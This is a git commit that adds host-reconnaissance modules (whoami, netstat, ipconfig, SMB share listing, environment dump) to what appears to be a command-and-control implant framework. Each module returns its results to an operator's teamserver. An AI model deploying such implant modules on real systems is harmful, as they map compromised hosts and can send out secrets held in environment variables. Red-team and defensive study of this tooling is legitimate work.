Refactor system info modules to use native APIs

This commit is contained in:
Maxime dcb
2025-07-31 12:52:42 +02:00
parent 8926a076ea
commit e195ebcffd
21 changed files with 1026 additions and 0 deletions
+5
View File
@@ -41,3 +41,8 @@ add_subdirectory(DotnetExec)
add_subdirectory(PwSh)
add_subdirectory(Shell)
add_subdirectory(GetEnv)
add_subdirectory(Whoami)
add_subdirectory(Netstat)
add_subdirectory(IpConfig)
add_subdirectory(EnumerateShares)
+18
View File
@@ -0,0 +1,18 @@
include_directories(../)
add_library(EnumerateShares SHARED EnumerateShares.cpp)
set_property(TARGET EnumerateShares PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded")
if(UNIX)
target_link_libraries(EnumerateShares smbclient)
endif()
add_custom_command(TARGET EnumerateShares POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
$<TARGET_FILE:EnumerateShares> "${CMAKE_SOURCE_DIR}/Release/Modules/$<TARGET_FILE_NAME:EnumerateShares>")
if(WITH_TESTS)
add_executable(testsEnumerateShares tests/testsEnumerateShares.cpp EnumerateShares.cpp)
if(UNIX)
target_link_libraries(testsEnumerateShares smbclient)
endif()
add_custom_command(TARGET testsEnumerateShares POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
$<TARGET_FILE:testsEnumerateShares> "${CMAKE_SOURCE_DIR}/Tests/$<TARGET_FILE_NAME:testsEnumerateShares>")
add_test(NAME testsEnumerateShares COMMAND "${CMAKE_SOURCE_DIR}/Tests/$<TARGET_FILE_NAME:testsEnumerateShares>")
endif()
+140
View File
@@ -0,0 +1,140 @@
#include "EnumerateShares.hpp"
#include "Common.hpp"
#include <cstring>
#ifdef _WIN32
#include <windows.h>
#include <lm.h>
#pragma comment(lib, "netapi32.lib")
#else
#include <samba-4.0/libsmbclient.h>
#endif
using namespace std;
constexpr std::string_view moduleName = "enumerateShares";
constexpr unsigned long long moduleHash = djb2(moduleName);
#ifdef _WIN32
__declspec(dllexport) EnumerateShares* EnumerateSharesConstructor()
{
return new EnumerateShares();
}
#else
__attribute__((visibility("default"))) EnumerateShares* EnumerateSharesConstructor()
{
return new EnumerateShares();
}
#endif
EnumerateShares::EnumerateShares()
#ifdef BUILD_TEAMSERVER
: ModuleCmd(std::string(moduleName), moduleHash)
#else
: ModuleCmd("", moduleHash)
#endif
{
}
EnumerateShares::~EnumerateShares()
{
}
std::string EnumerateShares::getInfo()
{
std::string info;
#ifdef BUILD_TEAMSERVER
info += "enumerateShares:\n";
info += "List available SMB shares.\n";
#endif
return info;
}
int EnumerateShares::init(std::vector<std::string>& splitedCmd, C2Message& c2Message)
{
std::string host;
if(splitedCmd.size() > 1)
host = splitedCmd[1];
c2Message.set_instruction(splitedCmd[0]);
c2Message.set_cmd(host);
return 0;
}
int EnumerateShares::process(C2Message& c2Message, C2Message& c2RetMessage)
{
std::string host = c2Message.cmd();
std::string out = runEnum(host);
c2RetMessage.set_instruction(c2Message.instruction());
c2RetMessage.set_cmd(host);
c2RetMessage.set_returnvalue(out);
return 0;
}
std::string EnumerateShares::runEnum(const std::string& host)
{
#ifdef _WIN32
std::string result;
std::wstring wserver;
if(!host.empty())
wserver = L"\\\\" + std::wstring(host.begin(), host.end());
LPBYTE buf = nullptr;
DWORD read = 0, total = 0, resume = 0;
NET_API_STATUS status = NetShareEnum(host.empty()? NULL : (LPWSTR)wserver.c_str(), 1, &buf, MAX_PREFERRED_LENGTH, &read, &total, &resume);
if(status == NERR_Success || status == ERROR_MORE_DATA)
{
PSHARE_INFO_1 info = (PSHARE_INFO_1)buf;
for(DWORD i=0; i<read; ++i)
{
char name[256] = {0};
WideCharToMultiByte(CP_UTF8, 0, info[i].shi1_netname, -1, name, sizeof(name), NULL, NULL);
result += name;
if(info[i].shi1_remark)
{
char rem[256] = {0};
WideCharToMultiByte(CP_UTF8, 0, info[i].shi1_remark, -1, rem, sizeof(rem), NULL, NULL);
result += " - ";
result += rem;
}
result += "\n";
}
NetApiBufferFree(buf);
}
if(result.empty())
result = "Enumeration failed or no shares";
return result;
#else
std::string result;
auto auth_fn = [](SMBCCTX*, const char*, const char*, char*, int, char* u, int ulen, char* p, int plen){ if(ulen>0) u[0]='\0'; if(plen>0) p[0]='\0'; };
SMBCCTX* ctx = smbc_new_context();
if(!ctx) return result;
smbc_setOptionUseKerberos(ctx, 0);
smbc_setOptionFallbackAfterKerberos(ctx, 1);
smbc_setFunctionAuthDataWithContext(ctx, auth_fn);
if(!smbc_init_context(ctx))
{
smbc_free_context(ctx, 1);
return result;
}
smbc_set_context(ctx);
std::string url = "smb://" + (host.empty()? std::string("") : host);
int dir = smbc_opendir(url.c_str());
if(dir >= 0)
{
struct smbc_dirent* ent;
while((ent = smbc_readdir(dir)) != nullptr)
{
if(ent->smbc_type == SMBC_FILE_SHARE)
{
result += ent->name;
result += '\n';
}
}
smbc_closedir(dir);
}
smbc_free_context(ctx, 1);
if(result.empty())
result = "Enumeration failed or no shares";
return result;
#endif
}
@@ -0,0 +1,28 @@
#pragma once
#include "ModuleCmd.hpp"
class EnumerateShares : public ModuleCmd
{
public:
EnumerateShares();
~EnumerateShares();
std::string getInfo();
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
int process(C2Message& c2Message, C2Message& c2RetMessage);
int osCompatibility()
{
return OS_LINUX | OS_WINDOWS;
}
private:
std::string runEnum(const std::string& host);
};
#ifdef _WIN32
extern "C" __declspec(dllexport) EnumerateShares* EnumerateSharesConstructor();
#else
extern "C" __attribute__((visibility("default"))) EnumerateShares* EnumerateSharesConstructor();
#endif
@@ -0,0 +1,25 @@
#include "../EnumerateShares.hpp"
bool testEnumerateShares();
int main()
{
bool res;
std::cout << "[+] testEnumerateShares" << std::endl;
res = testEnumerateShares();
if (res)
std::cout << "[+] Sucess" << std::endl;
else
std::cout << "[-] Failed" << std::endl;
return !res;
}
bool testEnumerateShares()
{
std::unique_ptr<EnumerateShares> mod = std::make_unique<EnumerateShares>();
std::vector<std::string> cmd = {"enumerateShares"};
C2Message msg, ret;
mod->init(cmd, msg);
mod->process(msg, ret);
return !ret.returnvalue().empty();
}
+14
View File
@@ -0,0 +1,14 @@
include_directories(../)
add_library(GetEnv SHARED GetEnv.cpp)
set_property(TARGET GetEnv PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded")
target_link_libraries(GetEnv )
add_custom_command(TARGET GetEnv POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
$<TARGET_FILE:GetEnv> "${CMAKE_SOURCE_DIR}/Release/Modules/$<TARGET_FILE_NAME:GetEnv>")
if(WITH_TESTS)
add_executable(testsGetEnv tests/testsGetEnv.cpp GetEnv.cpp)
target_link_libraries(testsGetEnv )
add_custom_command(TARGET testsGetEnv POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
$<TARGET_FILE:testsGetEnv> "${CMAKE_SOURCE_DIR}/Tests/$<TARGET_FILE_NAME:testsGetEnv>")
add_test(NAME testsGetEnv COMMAND "${CMAKE_SOURCE_DIR}/Tests/$<TARGET_FILE_NAME:testsGetEnv>")
endif()
+89
View File
@@ -0,0 +1,89 @@
#include "GetEnv.hpp"
#include "Common.hpp"
#include <cstring>
#ifdef _WIN32
#include <windows.h>
#else
extern char **environ;
#endif
using namespace std;
constexpr std::string_view moduleName = "getEnv";
constexpr unsigned long long moduleHash = djb2(moduleName);
#ifdef _WIN32
__declspec(dllexport) GetEnv* GetEnvConstructor()
{
return new GetEnv();
}
#else
__attribute__((visibility("default"))) GetEnv* GetEnvConstructor()
{
return new GetEnv();
}
#endif
GetEnv::GetEnv()
#ifdef BUILD_TEAMSERVER
: ModuleCmd(std::string(moduleName), moduleHash)
#else
: ModuleCmd("", moduleHash)
#endif
{
}
GetEnv::~GetEnv()
{
}
std::string GetEnv::getInfo()
{
std::string info;
#ifdef BUILD_TEAMSERVER
info += "getEnv:\n";
info += "List environment variables.\n";
#endif
return info;
}
int GetEnv::init(std::vector<std::string>& splitedCmd, C2Message& c2Message)
{
c2Message.set_instruction(splitedCmd[0]);
return 0;
}
int GetEnv::process(C2Message& c2Message, C2Message& c2RetMessage)
{
std::string out = listEnv();
c2RetMessage.set_instruction(c2Message.instruction());
c2RetMessage.set_returnvalue(out);
return 0;
}
std::string GetEnv::listEnv()
{
std::string result;
#ifdef _WIN32
LPCH env = GetEnvironmentStringsA();
if(!env)
return "Could not retrieve environment";
for(LPCH var = env; *var; var += strlen(var) + 1)
{
result += var;
result += "\n";
}
FreeEnvironmentStringsA(env);
#else
if(!environ)
return result;
for(char **p = environ; *p; ++p)
{
result += *p;
result += "\n";
}
#endif
return result;
}
+28
View File
@@ -0,0 +1,28 @@
#pragma once
#include "ModuleCmd.hpp"
class GetEnv : public ModuleCmd
{
public:
GetEnv();
~GetEnv();
std::string getInfo();
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
int process(C2Message& c2Message, C2Message& c2RetMessage);
int osCompatibility()
{
return OS_LINUX | OS_WINDOWS;
}
private:
std::string listEnv();
};
#ifdef _WIN32
extern "C" __declspec(dllexport) GetEnv* GetEnvConstructor();
#else
extern "C" __attribute__((visibility("default"))) GetEnv* GetEnvConstructor();
#endif
+26
View File
@@ -0,0 +1,26 @@
#include "../GetEnv.hpp"
bool testGetEnv();
int main()
{
bool res;
std::cout << "[+] testGetEnv" << std::endl;
res = testGetEnv();
if (res)
std::cout << "[+] Sucess" << std::endl;
else
std::cout << "[-] Failed" << std::endl;
return !res;
}
bool testGetEnv()
{
std::unique_ptr<GetEnv> mod = std::make_unique<GetEnv>();
std::vector<std::string> cmd = {"getEnv"};
C2Message msg, ret;
mod->init(cmd, msg);
mod->process(msg, ret);
return !ret.returnvalue().empty();
}
+14
View File
@@ -0,0 +1,14 @@
include_directories(../)
add_library(IpConfig SHARED IpConfig.cpp)
set_property(TARGET IpConfig PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded")
target_link_libraries(IpConfig )
add_custom_command(TARGET IpConfig POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
$<TARGET_FILE:IpConfig> "${CMAKE_SOURCE_DIR}/Release/Modules/$<TARGET_FILE_NAME:IpConfig>")
if(WITH_TESTS)
add_executable(testsIpConfig tests/testsIpConfig.cpp IpConfig.cpp)
target_link_libraries(testsIpConfig )
add_custom_command(TARGET testsIpConfig POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
$<TARGET_FILE:testsIpConfig> "${CMAKE_SOURCE_DIR}/Tests/$<TARGET_FILE_NAME:testsIpConfig>")
add_test(NAME testsIpConfig COMMAND "${CMAKE_SOURCE_DIR}/Tests/$<TARGET_FILE_NAME:testsIpConfig>")
endif()
+135
View File
@@ -0,0 +1,135 @@
#include "IpConfig.hpp"
#include "Common.hpp"
#include <cstring>
#ifdef _WIN32
#include <winsock2.h>
#include <iphlpapi.h>
#include <ws2tcpip.h>
#pragma comment(lib, "iphlpapi.lib")
#pragma comment(lib, "ws2_32.lib")
#else
#include <ifaddrs.h>
#include <net/if.h>
#include <arpa/inet.h>
#include <sstream>
#endif
using namespace std;
constexpr std::string_view moduleName = "ipConfig";
constexpr unsigned long long moduleHash = djb2(moduleName);
#ifdef _WIN32
__declspec(dllexport) IpConfig* IpConfigConstructor()
{
return new IpConfig();
}
#else
__attribute__((visibility("default"))) IpConfig* IpConfigConstructor()
{
return new IpConfig();
}
#endif
IpConfig::IpConfig()
#ifdef BUILD_TEAMSERVER
: ModuleCmd(std::string(moduleName), moduleHash)
#else
: ModuleCmd("", moduleHash)
#endif
{
}
IpConfig::~IpConfig()
{
}
std::string IpConfig::getInfo()
{
std::string info;
#ifdef BUILD_TEAMSERVER
info += "ipConfig:\n";
info += "Show local IP configuration.\n";
#endif
return info;
}
int IpConfig::init(std::vector<std::string>& splitedCmd, C2Message& c2Message)
{
c2Message.set_instruction(splitedCmd[0]);
return 0;
}
int IpConfig::process(C2Message& c2Message, C2Message& c2RetMessage)
{
std::string out = runIpconfig();
c2RetMessage.set_instruction(c2Message.instruction());
c2RetMessage.set_returnvalue(out);
return 0;
}
std::string IpConfig::runIpconfig()
{
#ifdef _WIN32
std::string result;
ULONG size = 0;
GetAdaptersAddresses(AF_UNSPEC, GAA_FLAG_INCLUDE_PREFIX, NULL, NULL, &size);
std::vector<IP_ADAPTER_ADDRESSES> buf(size / sizeof(IP_ADAPTER_ADDRESSES) + 1);
PIP_ADAPTER_ADDRESSES addr = reinterpret_cast<PIP_ADAPTER_ADDRESSES>(buf.data());
if(GetAdaptersAddresses(AF_UNSPEC, GAA_FLAG_INCLUDE_PREFIX, NULL, addr, &size) == NO_ERROR)
{
for(auto p = addr; p; p = p->Next)
{
result += p->FriendlyName; result += "\n";
for(PIP_ADAPTER_UNICAST_ADDRESS unicast = p->FirstUnicastAddress; unicast; unicast = unicast->Next)
{
char ip[INET6_ADDRSTRLEN];
void* sa = &((struct sockaddr_in*)unicast->Address.lpSockaddr)->sin_addr;
int family = unicast->Address.lpSockaddr->sa_family;
if(family == AF_INET)
{
inet_ntop(AF_INET, sa, ip, sizeof(ip));
}
else if(family == AF_INET6)
{
sa = &((struct sockaddr_in6*)unicast->Address.lpSockaddr)->sin6_addr;
inet_ntop(AF_INET6, sa, ip, sizeof(ip));
}
else
continue;
result += " " ;
result += ip;
result += "\n";
}
}
}
return result;
#else
std::string result;
struct ifaddrs* ifa = nullptr;
if(getifaddrs(&ifa) == 0)
{
for(auto p = ifa; p; p = p->ifa_next)
{
if(!p->ifa_addr) continue;
int family = p->ifa_addr->sa_family;
char host[INET6_ADDRSTRLEN];
if(family == AF_INET)
{
inet_ntop(AF_INET, &((struct sockaddr_in*)p->ifa_addr)->sin_addr, host, sizeof(host));
}
else if(family == AF_INET6)
{
inet_ntop(AF_INET6, &((struct sockaddr_in6*)p->ifa_addr)->sin6_addr, host, sizeof(host));
}
else
continue;
result += p->ifa_name; result += " "; result += host; result += "\n";
}
freeifaddrs(ifa);
}
return result;
#endif
}
+28
View File
@@ -0,0 +1,28 @@
#pragma once
#include "ModuleCmd.hpp"
class IpConfig : public ModuleCmd
{
public:
IpConfig();
~IpConfig();
std::string getInfo();
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
int process(C2Message& c2Message, C2Message& c2RetMessage);
int osCompatibility()
{
return OS_LINUX | OS_WINDOWS;
}
private:
std::string runIpconfig();
};
#ifdef _WIN32
extern "C" __declspec(dllexport) IpConfig* IpConfigConstructor();
#else
extern "C" __attribute__((visibility("default"))) IpConfig* IpConfigConstructor();
#endif
+25
View File
@@ -0,0 +1,25 @@
#include "../IpConfig.hpp"
bool testIpConfig();
int main()
{
bool res;
std::cout << "[+] testIpConfig" << std::endl;
res = testIpConfig();
if (res)
std::cout << "[+] Sucess" << std::endl;
else
std::cout << "[-] Failed" << std::endl;
return !res;
}
bool testIpConfig()
{
std::unique_ptr<IpConfig> mod = std::make_unique<IpConfig>();
std::vector<std::string> cmd = {"ipConfig"};
C2Message msg, ret;
mod->init(cmd, msg);
mod->process(msg, ret);
return !ret.returnvalue().empty();
}
+14
View File
@@ -0,0 +1,14 @@
include_directories(../)
add_library(Netstat SHARED Netstat.cpp)
set_property(TARGET Netstat PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded")
target_link_libraries(Netstat )
add_custom_command(TARGET Netstat POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
$<TARGET_FILE:Netstat> "${CMAKE_SOURCE_DIR}/Release/Modules/$<TARGET_FILE_NAME:Netstat>")
if(WITH_TESTS)
add_executable(testsNetstat tests/testsNetstat.cpp Netstat.cpp)
target_link_libraries(testsNetstat )
add_custom_command(TARGET testsNetstat POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
$<TARGET_FILE:testsNetstat> "${CMAKE_SOURCE_DIR}/Tests/$<TARGET_FILE_NAME:testsNetstat>")
add_test(NAME testsNetstat COMMAND "${CMAKE_SOURCE_DIR}/Tests/$<TARGET_FILE_NAME:testsNetstat>")
endif()
+150
View File
@@ -0,0 +1,150 @@
#include "Netstat.hpp"
#include "Common.hpp"
#include <cstring>
#ifdef _WIN32
#include <winsock2.h>
#include <ws2tcpip.h>
#include <iphlpapi.h>
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "iphlpapi.lib")
#else
#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <fstream>
#include <sstream>
#include <cstdlib>
#endif
using namespace std;
constexpr std::string_view moduleName = "netstat";
constexpr unsigned long long moduleHash = djb2(moduleName);
#ifdef _WIN32
__declspec(dllexport) Netstat* NetstatConstructor()
{
return new Netstat();
}
#else
__attribute__((visibility("default"))) Netstat* NetstatConstructor()
{
return new Netstat();
}
#endif
Netstat::Netstat()
#ifdef BUILD_TEAMSERVER
: ModuleCmd(std::string(moduleName), moduleHash)
#else
: ModuleCmd("", moduleHash)
#endif
{
}
Netstat::~Netstat()
{
}
std::string Netstat::getInfo()
{
std::string info;
#ifdef BUILD_TEAMSERVER
info += "netstat:\n";
info += "Show active network connections.\n";
#endif
return info;
}
int Netstat::init(std::vector<std::string>& splitedCmd, C2Message& c2Message)
{
c2Message.set_instruction(splitedCmd[0]);
return 0;
}
int Netstat::process(C2Message& c2Message, C2Message& c2RetMessage)
{
std::string out = runNetstat();
c2RetMessage.set_instruction(c2Message.instruction());
c2RetMessage.set_returnvalue(out);
return 0;
}
std::string Netstat::runNetstat()
{
#ifdef _WIN32
std::string result;
DWORD size = 0;
GetExtendedTcpTable(nullptr, &size, TRUE, AF_INET, TCP_TABLE_OWNER_PID_ALL, 0);
std::vector<char> buf(size);
if(GetExtendedTcpTable(buf.data(), &size, TRUE, AF_INET, TCP_TABLE_OWNER_PID_ALL, 0) == NO_ERROR)
{
auto table = reinterpret_cast<PMIB_TCPTABLE_OWNER_PID>(buf.data());
for(DWORD i=0; i<table->dwNumEntries; ++i)
{
char local[INET_ADDRSTRLEN];
char remote[INET_ADDRSTRLEN];
inet_ntop(AF_INET, &table->table[i].dwLocalAddr, local, sizeof(local));
inet_ntop(AF_INET, &table->table[i].dwRemoteAddr, remote, sizeof(remote));
result += "TCP ";
result += local; result += ':'; result += std::to_string(ntohs((u_short)table->table[i].dwLocalPort));
result += " -> ";
result += remote; result += ':'; result += std::to_string(ntohs((u_short)table->table[i].dwRemotePort));
result += " State:"; result += std::to_string(table->table[i].dwState);
result += " PID:"; result += std::to_string(table->table[i].dwOwningPid);
result += "\n";
}
}
return result;
#else
std::string result;
auto parse = [&](const std::string& path, const char* proto, bool ipv6)
{
std::ifstream f(path);
if(!f) return;
std::string line;
std::getline(f, line); // skip header
while(std::getline(f, line))
{
std::istringstream iss(line);
std::string sl, local, remote, st;
iss >> sl >> local >> remote >> st;
auto decodeAddr = [&](const std::string& in)->std::string
{
size_t pos = in.find(':');
std::string iphex = in.substr(0,pos);
std::string porthex = in.substr(pos+1);
unsigned port = std::stoul(porthex, nullptr, 16);
char buf[INET6_ADDRSTRLEN];
if(ipv6)
{
struct in6_addr a{};
for(int i=0;i<16;i++)
a.s6_addr[15-i] = std::stoi(iphex.substr(i*2,2),nullptr,16);
inet_ntop(AF_INET6, &a, buf, sizeof(buf));
}
else
{
struct in_addr a{};
a.s_addr = htonl(std::stoul(iphex, nullptr, 16));
inet_ntop(AF_INET, &a, buf, sizeof(buf));
}
return std::string(buf)+":"+std::to_string(port);
};
result += proto; result += " ";
result += decodeAddr(local); result += " -> ";
result += decodeAddr(remote); result += " State:"; result += st;
result += "\n";
}
};
parse("/proc/net/tcp", "TCP", false);
parse("/proc/net/udp", "UDP", false);
parse("/proc/net/tcp6", "TCP6", true);
parse("/proc/net/udp6", "UDP6", true);
return result;
#endif
}
+28
View File
@@ -0,0 +1,28 @@
#pragma once
#include "ModuleCmd.hpp"
class Netstat : public ModuleCmd
{
public:
Netstat();
~Netstat();
std::string getInfo();
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
int process(C2Message& c2Message, C2Message& c2RetMessage);
int osCompatibility()
{
return OS_LINUX | OS_WINDOWS;
}
private:
std::string runNetstat();
};
#ifdef _WIN32
extern "C" __declspec(dllexport) Netstat* NetstatConstructor();
#else
extern "C" __attribute__((visibility("default"))) Netstat* NetstatConstructor();
#endif
+25
View File
@@ -0,0 +1,25 @@
#include "../Netstat.hpp"
bool testNetstat();
int main()
{
bool res;
std::cout << "[+] testNetstat" << std::endl;
res = testNetstat();
if (res)
std::cout << "[+] Sucess" << std::endl;
else
std::cout << "[-] Failed" << std::endl;
return !res;
}
bool testNetstat()
{
std::unique_ptr<Netstat> mod = std::make_unique<Netstat>();
std::vector<std::string> cmd = {"netstat"};
C2Message msg, ret;
mod->init(cmd, msg);
mod->process(msg, ret);
return !ret.returnvalue().empty();
}
+14
View File
@@ -0,0 +1,14 @@
include_directories(../)
add_library(Whoami SHARED Whoami.cpp)
set_property(TARGET Whoami PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded")
target_link_libraries(Whoami )
add_custom_command(TARGET Whoami POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
$<TARGET_FILE:Whoami> "${CMAKE_SOURCE_DIR}/Release/Modules/$<TARGET_FILE_NAME:Whoami>")
if(WITH_TESTS)
add_executable(testsWhoami tests/testsWhoami.cpp Whoami.cpp)
target_link_libraries(testsWhoami )
add_custom_command(TARGET testsWhoami POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
$<TARGET_FILE:testsWhoami> "${CMAKE_SOURCE_DIR}/Tests/$<TARGET_FILE_NAME:testsWhoami>")
add_test(NAME testsWhoami COMMAND "${CMAKE_SOURCE_DIR}/Tests/$<TARGET_FILE_NAME:testsWhoami>")
endif()
+167
View File
@@ -0,0 +1,167 @@
#include "Whoami.hpp"
#include "Common.hpp"
#include <cstring>
#include <sstream>
#ifdef _WIN32
#include <sddl.h>
#endif
#ifdef _WIN32
#include <windows.h>
#else
#include <pwd.h>
#include <unistd.h>
#include <grp.h>
#endif
using namespace std;
constexpr std::string_view moduleName = "whoami";
constexpr unsigned long long moduleHash = djb2(moduleName);
#ifdef _WIN32
__declspec(dllexport) Whoami* WhoamiConstructor()
{
return new Whoami();
}
#else
__attribute__((visibility("default"))) Whoami* WhoamiConstructor()
{
return new Whoami();
}
#endif
Whoami::Whoami()
#ifdef BUILD_TEAMSERVER
: ModuleCmd(std::string(moduleName), moduleHash)
#else
: ModuleCmd("", moduleHash)
#endif
{
}
Whoami::~Whoami()
{
}
std::string Whoami::getInfo()
{
std::string info;
#ifdef BUILD_TEAMSERVER
info += "whoami:\n";
info += "Print current user information.\n";
#endif
return info;
}
int Whoami::init(std::vector<std::string>& splitedCmd, C2Message& c2Message)
{
c2Message.set_instruction(splitedCmd[0]);
return 0;
}
int Whoami::process(C2Message& c2Message, C2Message& c2RetMessage)
{
std::string out = getInfoString();
c2RetMessage.set_instruction(c2Message.instruction());
c2RetMessage.set_returnvalue(out);
return 0;
}
std::string Whoami::getInfoString()
{
std::string result;
#ifdef _WIN32
char name[256];
DWORD size = sizeof(name);
if(GetUserNameA(name, &size))
{
result += "User: ";
result += name;
result += "\n";
}
HANDLE token = NULL;
if(OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &token))
{
DWORD len = 0;
GetTokenInformation(token, TokenGroups, nullptr, 0, &len);
std::vector<BYTE> buf(len);
if(GetTokenInformation(token, TokenGroups, buf.data(), len, &len))
{
PTOKEN_GROUPS groups = reinterpret_cast<PTOKEN_GROUPS>(buf.data());
result += "Groups:\n";
for(DWORD i = 0; i < groups->GroupCount; ++i)
{
char gname[256];
char gdomain[256];
DWORD gnlen = sizeof(gname);
DWORD gdlen = sizeof(gdomain);
SID_NAME_USE use;
if(LookupAccountSidA(NULL, groups->Groups[i].Sid, gname, &gnlen, gdomain, &gdlen, &use))
{
if(gdlen)
{
result += " - ";
result += gdomain;
result += "\\";
result += gname;
}
else
{
result += " - ";
result += gname;
}
}
else
{
LPSTR sidStr = nullptr;
if(ConvertSidToStringSidA(groups->Groups[i].Sid, &sidStr))
{
result += " - ";
result += sidStr;
LocalFree(sidStr);
}
}
result += "\n";
}
}
CloseHandle(token);
}
#else
struct passwd* pw = getpwuid(geteuid());
if(pw)
{
result += "User: ";
result += pw->pw_name;
result += "\nUID: ";
result += std::to_string(pw->pw_uid);
result += " GID: ";
result += std::to_string(pw->pw_gid);
result += "\n";
}
int ngroups = getgroups(0, nullptr);
if(ngroups > 0)
{
std::vector<gid_t> groups(ngroups);
getgroups(ngroups, groups.data());
result += "Groups: ";
for(int i=0;i<ngroups;i++)
{
struct group* gr = getgrgid(groups[i]);
if(gr)
result += gr->gr_name;
else
result += std::to_string(groups[i]);
if(i+1<ngroups)
result += ", ";
}
result += "\n";
}
#endif
if(result.empty())
result = "No information";
return result;
}
+28
View File
@@ -0,0 +1,28 @@
#pragma once
#include "ModuleCmd.hpp"
class Whoami : public ModuleCmd
{
public:
Whoami();
~Whoami();
std::string getInfo();
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
int process(C2Message& c2Message, C2Message& c2RetMessage);
int osCompatibility()
{
return OS_LINUX | OS_WINDOWS;
}
private:
std::string getInfoString();
};
#ifdef _WIN32
extern "C" __declspec(dllexport) Whoami* WhoamiConstructor();
#else
extern "C" __attribute__((visibility("default"))) Whoami* WhoamiConstructor();
#endif
+25
View File
@@ -0,0 +1,25 @@
#include "../Whoami.hpp"
bool testWhoami();
int main()
{
bool res;
std::cout << "[+] testWhoami" << std::endl;
res = testWhoami();
if (res)
std::cout << "[+] Sucess" << std::endl;
else
std::cout << "[-] Failed" << std::endl;
return !res;
}
bool testWhoami()
{
std::unique_ptr<Whoami> mod = std::make_unique<Whoami>();
std::vector<std::string> cmd = {"whoami"};
C2Message msg, ret;
mod->init(cmd, msg);
mod->process(msg, ret);
return !ret.returnvalue().empty();
}